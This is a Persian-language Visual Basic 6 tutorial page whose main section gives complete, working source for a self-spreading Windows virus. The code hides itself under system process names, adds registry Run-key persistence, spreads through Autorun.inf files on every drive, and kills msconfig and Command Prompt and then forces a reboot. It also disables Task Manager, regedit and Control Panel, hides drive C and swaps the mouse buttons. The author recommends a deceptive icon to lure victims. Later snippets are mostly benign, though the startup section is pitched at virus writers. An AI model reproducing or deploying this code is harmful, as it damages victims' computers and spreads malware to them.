این ویروس از دو بخش تشکیل شده : اول بخش خرابکاری و دستکاری رجیستری. دوم بخش بلاک اصلی برنامه که میتونید هر چیزی که دلتون میخواد اونجا اضافه کنید. برای اینکه کارای ویروس مدام انجام بشن و محدود به لود فرم نباشن باید اونا رو تو یک یا چند تا تایمر قرار بدید. من از سه تایمر استفاده کردم. تایمر اول برای عوض کردن کلید چپ و راست ماوس است، تایم دوم بر ای تعیین Interval تایمر اوله تا حالت یکنواختی پیدا نکنه و هر چند لحظه یکبار (بین 1 تا 5 ثانیه) کلید چپ و راست ماوس عوض بشه و تایمر سوم هم چهار کار انجام میده: 1- ساختن فایل Autorun.inf تو تمام درایوها 2- بستن System Configuration Utility که احتمال میره کاربر اونو باز کنه 3- بستن Command Prompt که احتمال میره کاربر اونو باز کنه 4- خرابكاري يعني دستكاري كردن رجيستري و اعمال محدوديتها.

خب توضیحات درباره ویروس کافیه بهتره بریم سر وقته آموزش.

آموزش ساخت :

اول یک پروژه جدید باز کنید و بهش دو تا Module اضافه کنید و به فرمتون هم سه تا تایمر اضافه کنید و مشخصات زیر رو تغییر بدید :


[Form Properties]
Name = frmVirus
BorderStyle = 0 – None
Caption = Empty
ShowInTaskbar = False
Height = 0
Width = 0
Left = -5000
Top = -5000
Visible = False
[Timers Properties]
Timer1.Interval = 0
Timrr2.Interval =5000
Timer3.Interval = 500

حالا كدهاي زير رو تو قالب جنرال فرمتون كپي كنيد:


Dim bln As Boolean

Private Sub Form_Load()
    App.TaskVisible = False
   
    Dim sSave As String
    If App.PrevInstance = True Then End
    Dim Ret As Long
    Dim CLR As Long
    Me.BackColor = RGB(1, 1, 1)
    CLR = Me.BackColor
    Ret = GetWindowLong(Me.hWnd, GWL_EXSTYLE)
    Ret = Ret Or WS_EX_LAYERED
    SetWindowLong Me.hWnd, GWL_EXSTYLE, Ret
    SetLayeredWindowAttributes Me.hWnd, CLR, 0, LWA_COLORKEY
   
   
    On Error Resume Next
   
    strSource = App.Path & IIf(Len(App.Path) > 0, "\", Empty)
    strSource = strSource & App.EXEName & ".exe"
  
    SetAttr WinDrive & "Windows", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
    SetAttr WinDrive & "Program Files", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
    SetAttr WinDrive & "Documents and Settings", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
    SetAttr WinDrive & "Windows\System\", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
    SetAttr WinDrive & "Windows\System32\", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
   
    Timer2.Enabled = True
    Timer3.Enabled = True
   
End Sub

Private Sub Timer1_Timer()
    If bln = True Then
        bln = False
        Timer1.Enabled = False
        Call SwapMouseButton(1)
    Else
        bln = True
        Call SwapMouseButton(0)
    End If
   
    If blnBlockinput = True Then Call BlockInput(0)
End Sub

Private Sub Timer2_Timer()
    If Timer1.Enabled = False Then
        Timer1.Interval = CLng(Rnd * 5000)
        Timer1.Enabled = True
    End If
End Sub

Private Sub Timer3_Timer()
    Call MakeAutoRun
    Call CloseProgram("System Configuration Utility")
    Call CloseProgram("Command Prompt")
    Call Sabotage
End Sub

خب حالا كد زير رو تو Module1 كپي كنيد:


Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal HKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal HKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal HKey As Long, ByVal lpValueName As String) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal HKey As Long) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal HKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_CONFIG = &H80000005
Public Const HKEY_USERS = &H80000003
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const REG_SZ = 1
Public Const REG_DWORD = 4
Public Const REG_NONE = 0
Public Const REG_MULTI_SZ = 7
Public Const REG_EXPAND_SZ = 2
Public Const REG_BINARY = 3
Public Declare Function SetWindowLong Lib "User32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Public Declare Function SetLayeredWindowAttributes Lib "user32.dll" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function SetWindowText Lib "User32" Alias "SetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String) As Long
Public Declare Function EnumWindows Lib "User32" (ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Public Declare Function IsWindowVisible Lib "User32" (ByVal hWnd As Long) As Long
Public Declare Function GetParent Lib "User32" (ByVal hWnd As Long) As Long
Public Declare Function GetWindowLong Lib "User32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
Public Declare Function GetWindowText Lib "User32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function SendMessage Lib "User32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Const GWL_HWNDPARENT = (-8)
Public Const LB_ADDSTRING = &H180
Public Const LB_SETITEMDATA = &H19A
Public Declare Function GetActiveWindow Lib "User32" () As Long

Public Declare Function GetWindowDC Lib "User32" (ByVal hWnd As Long) As Long
Public Declare Function TextOut Lib "gdi32" Alias "TextOutA" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long, ByVal lpString As String, ByVal nCount As Long) As Long
Public Declare Function BlockInput Lib "User32" (ByVal fBlock As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Public Const LWA_COLORKEY = &H1
Public Const GWL_EXSTYLE = (-20)
Public Const WS_EX_LAYERED = &H80000
Public Const BM_SETSTATE = &HF3

Public Const HWND_TOPMOST = -1
Public Const HWND_NOTOPMOST = -2
Public Const SWP_NOMOVE = &H2
Public Const SWP_NOSIZE = &H1
Public Const SWP_NOACTIVATE = &H10
Public Const SWP_SHOWWINDOW = &H40
Public Const TOPMOST_FLAGS = SWP_NOMOVE Or SWP_NOSIZE
Public Declare Function SwapMouseButton Lib "User32" (ByVal bSwap As Long) As Long
Public Declare Function SetWindowPos Lib "User32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, Y, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Const TH32CS_SNAPHEAPLIST = &H1
Const TH32CS_SNAPPROCESS = &H2
Const TH32CS_SNAPTHREAD = &H4
Const TH32CS_SNAPMODULE = &H8
Const TH32CS_SNAPALL = (TH32CS_SNAPHEAPLIST Or TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD Or TH32CS_SNAPMODULE)
Const TH32CS_INHERIT = &H80000000
Const MAX_PATH As Integer = 260
Private Type PROCESSENTRY32
    dwSize As Long
    cntUsage As Long
    th32ProcessID As Long
    th32DefaultHeapID As Long
    th32ModuleID As Long
    cntThreads As Long
    th32ParentProcessID As Long
    pcPriClassBase As Long
    dwFlags As Long
    szExeFile As String * MAX_PATH
End Type

Public Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Public Declare Function FindWindow Lib "User32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Public hSnapShot As Long, uProcess As PROCESSENTRY32
Public blnMsgBoxResult As Boolean
Public strSource As String, strDest As String
Public strOutput(20) As String, strTemp As String
Public blnBlockinput As Boolean
Public strSysDir As String, strFileExist As String
Public strAppPath As String

و حالا كد زير رو تو Module2 كپي كنيد:


Public Sub AddToRun_Copy_Hide()
    blnVirusRuning = True
    On Error Resume Next
   
    strSource = App.Path & IIf(Len(App.Path) > 0, "\", Empty)
    strSource = strSource & App.EXEName & ".exe"
   
    If (App.EXEName <> "svchost" And App.EXEName <> "spoolsv" And App.EXEName <> "smss") Then
        strDest = WinDrive & "WINDOWS\system32\drivers\"
       
        FileCopy strSource, strDest & "svchost.exe"
        AddToRun "svchost", strDest & "svchost.exe"
        SetAttr strDest & "svchost.exe", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
        Shell strDest & "svchost.exe", vbNormalNoFocus
       
        FileCopy strSource, strDest & "dllhost.exe"
        AddToRun "krnl32 dllhost", strDest & "dllhost.exe"
        SetAttr strDest & "dllhost.exe", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
        Shell strDest & "dllhost.exe", vbNormalNoFocus
       
        strDest = WinDrive & "Documents and Settings\All Users\Application Data\"
        FileCopy strSource, strDest & "services.exe"
        AddToRun "ctfmon", strDest & "services.exe"
        SetAttr strDest & "services.exe", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
        Shell strDest & "services.exe", vbNormalNoFocus
       
    End If
End Sub
Private Sub SaveString(ByVal HKey As Long, strPath As String, strValue As String, ByVal lngdata As Long, ByVal lngType As Long, ByVal lngLen As Long)
    Dim keyhand As Long
    Dim r As Long
    r = RegCreateKey(HKey, strPath, keyhand)
    r = RegSetValueEx(keyhand, strValue, 0, lngType, lngdata, CLng(lngLen))
    r = RegCloseKey(keyhand)
End Sub

Public Sub MakeTopMost(lngHwnd As Long)
    SetWindowPos lngHwnd, HWND_TOPMOST, 0, 0, 0, 0, TOPMOST_FLAGS
End Sub

Public Function WinDrive() As String
    Dim strDrive As String
    strDrive = Space(500)
    A = GetWindowsDirectory(strDrive, Len(strDrive))
    strDrive = Left(strDrive, 3)
    WinDrive = strDrive
End Function

Public Sub CloseProgram(ByVal WindowName As String)
    On Error Resume Next
    Handle = FindWindow(vbNullString, WindowName)
    If Handle = 0 Then Exit Sub
    Call SendMessage(Handle, &H10, 0&, 0&)
    Shell "Shutdown -r -t 0"
End Sub

Public Sub MakeAutoRun()
    Dim strDrive As String, strDrives As String
    On Error Resume Next
    strAutorun = "[autorun]" & vbCrLf & _
                 "OPEN=Autorun.exe" & vbCrLf & _
                 "shell\open=Open" & vbCrLf & _
                 "shell\open\Command=Autorun.exe" & vbCrLf & _
                 "shell\explore=Explore" & vbCrLf & _
                 "shell\explore\Command=""Autorun.exe -e"""
                
    strDrives = String(255, Chr$(0))
    Ret& = GetLogicalDriveStrings(255, strDrives)
    strDrives = Right$(strDrives, Len(strDrives) - InStr(1, strDrives, Chr$(0)))
    For i = 1 To 100
        If Left$(strDrives, InStr(1, strDrives, Chr$(0))) = Chr$(0) Then Exit For
        strDrive = Left$(strDrives, InStr(1, strDrives, Chr$(0)) - 1)
        If strDrive <> "A:\" Then
            Open strDrive & "Autorun.inf" For Output As #1
            Print #1, strAutorun
            Close #1
        End If
        SetAttr strDrive & "Autorun.inf", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
        FileCopy WinDrive & "Documents and Settings\All Users\Application Data\services.exe", strDrive & "Autorun.exe"
        SetAttr strDrive & "Autorun.exe", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly
        strDrives = Right$(strDrives, Len(strDrives) - InStr(1, strDrives, Chr$(0)))
    Next
End Sub

Public Sub Sabotage() ' Sabotage = Kharab kari
    Call AddToRun_Copy_Hide
    Call DisableRegEdit
    Call DisableTaskManager
    Call DisableDisplayProperties
    Call DisableShutdown
    Call DisableSearch
    Call DisableMyComputerProperties
    Call DisableRun
    Call DisableAllPrograms
    Call HideDrive_C
    Call DisableControlPanel
    Call DisableFolderOption
    Call DontShowHiddenFiles
    Call DontShowSuperHiddenFiles
    Call DisableAddRemove
    Call ChangeNameAndCompanyName
End Sub

Private Sub DisableRegEdit()
    Call SaveString(HKEY_CURRENT_USER, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "DisableRegistryTools", 1, REG_DWORD, 4)
End Sub

Private Sub DisableTaskManager()
    Call SaveString(HKEY_CURRENT_USER, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", 1, REG_DWORD, 4)
End Sub

Private Sub DisableDisplayProperties()
    Call SaveString(HKEY_CURRENT_USER, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "NoDispCPL", 1, REG_DWORD, 4)
End Sub

Private Sub DisableShutdown()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\policies\Explorer", "NoClose", 1, REG_DWORD, 4)
End Sub

Private Sub DisableSearch()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFind", 1, REG_DWORD, 4)
End Sub

Private Sub DisableMyComputerProperties()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoPropertiesMyComputer", 1, REG_DWORD, 4)
End Sub

Private Sub DisableRun()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoRun", 1, REG_DWORD, 4)
End Sub

Private Sub DisableAllPrograms()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoStartMenuMorePrograms", 1, REG_DWORD, 4)
End Sub

Private Sub HideDrive_C()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoDrives", 4, REG_DWORD, 4)
End Sub

Private Sub DisableControlPanel()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoControlPanel", 1, REG_DWORD, 4)
End Sub

Private Sub DisableFolderOption()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFolderOptions", 1, REG_DWORD, 4)
End Sub

Private Sub DontShowHiddenFiles()
    Call SaveString(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN", "CheckedValue", 2, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL", "CheckedValue", 0, REG_DWORD, 4)
    Call SaveString(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", 0, REG_DWORD, 4)
End Sub

Private Sub DontShowSuperHiddenFiles()
    Call SaveString(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden", "CheckedValue", 0, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden", "UncheckedValue", 0, REG_DWORD, 4)
    Call SaveString(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "SuperHidden", 0, REG_DWORD, 4)
End Sub

Private Sub DisableAddRemove()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoAddRemovePrograms", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoAddFromCDorFloppy", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoAddFromInternet", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoAddFromNetwork", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoAddPage", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoRemovePage", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoServices", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoSetFolders", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoSupportInfo", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoWindowsSetupPage", 1, REG_DWORD, 4)
End Sub

Private Sub ChangeNameAndCompanyName()
    Dim keyhand As Long
    Dim r As Long
    r = RegCreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion", keyhand)
    r = RegSetValueEx(keyhand, "RegisteredOwner", 0, REG_SZ, ByVal "Amir Amiri", Len("Amir Amiri"))
    r = RegSetValueEx(keyhand, "RegisteredOrganization", 0, REG_SZ, ByVal "Http://V-Basic.Mihanblog.Com", Len("Http://V-Basic.Mihanblog.Com"))
    r = RegCloseKey(keyhand)
End Sub

Public Sub AddToRun(ProgramName As String, FileToRun As String)
    Dim keyhand As Long
    Dim r As Long
    r = RegCreateKey(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", keyhand)
    r = RegSetValueEx(keyhand, ProgramName, 0, REG_SZ, ByVal FileToRun, Len(FileToRun))
    r = RegCloseKey(keyhand)
End Sub

برنامه رو ذخيره كنيد و ازش يه فايل اجرايي بسازيد و اجراش کنید تا بیچاره بشید. سعی کنید برای ویروستون یک آیکون گول زننده و جذاب بذارید تا کاربر به محض مشاهده حس کنجکاویش کار دستش بده. تا اینجا تونستید یک ویروس بسازید ولی اگر اجراش کنید واقعاً بیچاره میشید پس دست نگه دارید. هر ویروسی باید یک آنتی ویروس داشته باشه و چون ویروس ما به شدت آزار دهنده و کمی هم مخربه پس باید آنتی ویروسشو در کنارش داشته باشید. ویروس ما محدودیت هایی رو به کاربر اعامل میکنه که شما میدونید اون محمدودیت ها چی هستن و چه طور اعمال شدن پس میتونید به راحتی اونا رو خنثی کنید. موفق باشيد.



 

توابع API


ساخت Link برای سایت یا وبلاگ (درخواستی)

یک پروژه جدید باز کنید و توش یک Label بزارید و کدهای زیر رو تو قسمت جنرال فرمتون کپی کنید :


Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Private Sub Form_Load()
    Label1.Caption = "www.v-basic.mihanblog.com"
End Sub

Private Sub Label1_Click()
    Link Label1.Caption
End Sub

Public Function Link(ByVal URL As String) As Long
    Link = ShellExecute(0&, vbNullString, URL, vbNullString, vbNullString, vbNormalFocus)
End Function

حالا برنامتون رو اجرا كنيد و روي Label كليك كنيد تا وارد سايت مربروطه بشه، به همين سادگي. موفق باشید.


امکان شماره گیری تلفن با برنامه شما

اینکار خیلی آسونه. یک پروژه جدید باز کنید و تو فرمتون یک Command Button و یک TextBox بذارید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :


Private Declare Function tapiRequestMakeCall Lib "TAPI32.DLL" (ByVal Dest As String, ByVal AppName As String, ByVal CalledParty As String, ByVal Comment As String) As Long

Private Sub Command1_Click()
    tapiRequestMakeCall Text1.Text, "", "", ""
End Sub

حالا برنامه رو اجرا کنید و تو TextBox شماره تلفن رو وارد کنید و کلید Command1 رو بزنید، میبینید که شماره گیری توسط خود ویندوز انجام میشه و احتیاجی نیست که شما کاری انجام بدید. موفق باشید.


پخش فایلهای MP3 از درون برنامه شما (کد اصلی)

اصل کدش رو از یه جایی کش رفتم و برای شما عزیزان گذاشتم تا نظرای خوب خوب بدید.

یک پروژه جدید باز کنید و تو فرمتون یک TextBox و دو تا Command Button بزارید بعد از Command Button اول یک کپی بگیرید و Paste کنید تا آرایه ساخته بشه و بعد کد زیر رو تو قسمت جنرال فرمتون کپی کنید و برنامه رو اجرا کنید :


Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

Dim isPlaying As Boolean
Dim Mp3File As String

Private Sub Command1_Click(Index As Integer)
    Mp3File = Chr$(34) + Trim(Text1.Text) + Chr$(34)
    Select Case Index
        Case 0
            mciSendString "open " + Mp3File, 0&, 0&, 0&
            mciSendString "play " + Mp3File, "", 0&, 0&
            isPlaying = True
        Case 1
            mciSendString "close " + Mp3File, 0&, 0&, 0&
            isPlaying = False
    End Select
End Sub

Private Sub Command2_Click()
    Unload Me
End Sub

Private Sub Form_Load()
    Command1(0).Caption = "Start"
    Command1(1).Caption = "Stop"
    Command2.Caption = "Exit"
End Sub

Private Sub Form_Unload(Cancel As Integer)
    If isPlaying = True Then
        mciSendString "close " + Mp3File, 0&, 0&, 0&
    End If
End Sub

حالا تو TextBox آدرس یک فایل MP3 رو وارد کنید و دکمه Start رو بزنید، موسیقی پخش میشه، به همین سادگی. لازم به ذکره که این کد بارها و بارها تست شده و هیچ گونه مشکلی نداره اگر کسی به مشکلی برخورد در قسمت نظرات مطرح کنه. موفق باشید.


قرار دادن برنامه در Startup

برای اینکار دو روش وجود داره؛ روش اول اینه که برنامه رو در پوشه Startup کپی کنیم که روش جالبی نیستچون کاربر میتونه به اون پوشه به و فایل رو پاک کنه و امّا روش دوّم (قابل توجّه ویروس نویسا) اینه که برنامه رو تو لیست برنامه های Startup در رجیستری ذخیره کنیم که روش مطمئن و بهتریه چون کاربر نمیدونه برنامه کجا قرار داره و از کجا اجرا میشه مگر اینکه از طریق رجیستری و یا برنامه System Configuration Utility (تایپ msconfig در Run ویندوز) متوجه مسیر برنامه بشه که خب خوشبختانه همه اینکارو بلد نیستن.

به ترتیب روش اول و بعد روش دوّم رو آموزش میدم. برای اجرای برنامه در Startup از طریق روش اول باید درایوی رو که ویندوز اونجا نصب شده و بدونید که من این کارو با توابع API انجام دادم. یک پروژه جدید باز کنید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :


Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Dim strSource As String, strDest As String

Private Sub Form_Load()
    If App.PrevInstance = True Then End
    strSource = App.Path & IIf(Len(App.Path) > 0, "\", Empty)
    strSource = strSource & App.EXEName & ".exe"
    strDest = WinDrive & "Documents and Settings\All Users\Start Menu\Programs\Startup\"
    FileCopy strSource, strDest & App.EXEName & ".exe"
End Sub

Private Function WinDrive() As String
    Dim strDrive As String
    strDrive = Space(500)
    A = GetWindowsDirectory(strDrive, Len(strDrive))
    strDrive = Left(strDrive, 3)
    WinDrive = strDrive
End Function

اگه برنامه رو اجرا کنید فایل اجرایی برنامه تو پوشه Startup کپی میشه و با هر بار بالا اومدن ویندوز برنامه شما هم اجرا میشه. ولی روش دوّم، برای اینکار باید توابعی رو تعریف کنیم که با رجیستری سر و کار دارن و من این کارو برای راحتی شما انجام دادم. یک پروژه جدید باز کنید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :


Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const REG_SZ = 1

Dim strAppPath As String

Private Sub Command1_Click()
    AddToRun App.Title, strAppPath
End Sub

Private Sub Command2_Click()
    RemoveFromRun App.Title
End Sub

Private Sub Form_Load()
    Command1.Caption = "Add to Run"
    Command2.Caption = "Remove from Run"
    strAppPath = IIf(Len(App.Path) > 3, App.Path & "\", App.Path)
    strAppPath = strAppPath & App.EXEName & ".exe"
End Sub

'---------------------------------------------

Private Sub AddToRun(ProgramName As String, FileToRun As String)
    Call SaveString("Software\Microsoft\Windows\CurrentVersion\Run", ProgramName, FileToRun)
End Sub

Private Sub RemoveFromRun(ProgramName As String)
    Call DeleteValue("Software\Microsoft\Windows\CurrentVersion\Run", ProgramName)
End Sub

Private Sub SaveString(strPath As String, strValue As String, strdata As String)
    Dim keyhand As Long
    Dim r As Long
    r = RegCreateKey(HKEY_LOCAL_MACHINE, strPath, keyhand)
    r = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))
    r = RegCloseKey(keyhand)
End Sub

Private Function DeleteValue(ByVal strPath As String, ByVal strValue As String)
    Dim keyhand As Long
    Dim r As Long
    r = RegOpenKey(HKEY_LOCAL_MACHINE, strPath, keyhand)
    r = RegDeleteValue(keyhand, strValue)
    r = RegCloseKey(keyhand)
End Function

اگه برنامه اجرا بشه، مسیر فایل اجرایی برنامه در رجیستری ذخیره شده و در هر بار اجرای برنامه همراه برنامه های دیگه اجرا میشه. به همین سادگی. موفق باشید.


تعویض کلیک چپ و راست موس

یک پروژه جدید باز کنید و تو فرمتون یک Command Button و دو تا Option Button بزارید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :


Private Declare Function SwapMouseButton Lib "User32" (ByVal bSwap As Long) As Long

Private Sub Command1_Click()
    Call SwapMouseButton(Option1.Value)
End Sub

Private Sub Form_Load()
    Option1.Caption = "Right"
    Option2.Caption = "Left"
End Sub

حالا برنامه رو اجرا کنید و با کلیک روی Option Button ها و بعد کلیک روی Command1 جای کلیک چپ و راست موس رو عوض کنید. به همین سادگی. موفق باشید.


بستن برنامه ها یا همون End Task کردن برنامه ها

براین بستن برنامه ها باید بدونید که عنوان (Title) برنامه چیه. مثلاً عنوان برنامه ماشین حساب Calculator هستش و عنوان برنامه Task Manager هست .Windows Task Manager در واقع این قطعه کد هر برنامه ای رو از روی عنوان اون میبنده.

یک پروژه جدید باز کنید و تو فرمتون یک Command Button و یک TextBox بذارید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :


Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Private Sub CloseProgram(ByVal Caption As String)
    On Error Resume Next
    Handle = FindWindow(vbNullString, Caption)
    If Handle = 0 Then Exit Sub
    SendMessage Handle, &H10, 0&, 0&
End Sub

Private Sub Command1_Click()
    Call CloseProgram(Text1.Text)
End Sub

حالا برنامه رو اجرا کنید، بعد برنامه Task Manager رو اجرا کنید (Alt + Ctrl + Del) و تو TextBox تایپ کنید Windows Task Manager و کلید Command1 رو بزنید، میبینید که برنامه Task Manager بسته شد، به همین سادگی. موفق باشید.


نامرئی کردن قسمتهای اضافی فرم (برای گذاشتن اسکین خوبه)

این کد خیلی کاربردیه، حتماً به دردتون مبخوره. این کد باعث میشه که گوشه ها و قسمتهای اضافی فرم حذف بشه و فقط جاهایی که شما میخواید، قابل رویت باشه. مانند اسکین های Windows Media Player که بسیار زیباست.

یک پروژه جدید باز کنید و داخل فرمتون یک شئ Shape بذارید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :


Private Declare Function GetWindowLong Lib "User32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "User32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function SetLayeredWindowAttributes Lib "user32.dll" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long

Const LWA_COLORKEY = &H1
Const GWL_EXSTYLE = (-20)
Const WS_EX_LAYERED = &H80000
Const BM_SETSTATE = &HF3

Private Sub Form_Load()
    Dim Ret As Long
    Dim CLR As Long
    Me.BackColor = RGB(1, 1, 1)  ' تعیین رنگ پس زمینه فرم
    CLR = Me.BackColor
    Ret = GetWindowLong(Me.hWnd, GWL_EXSTYLE)
    Ret = Ret Or WS_EX_LAYERED
    SetWindowLong Me.hWnd, GWL_EXSTYLE, Ret
    SetLayeredWindowAttributes Me.hWnd, CLR, 0, LWA_COLORKEY
End Sub

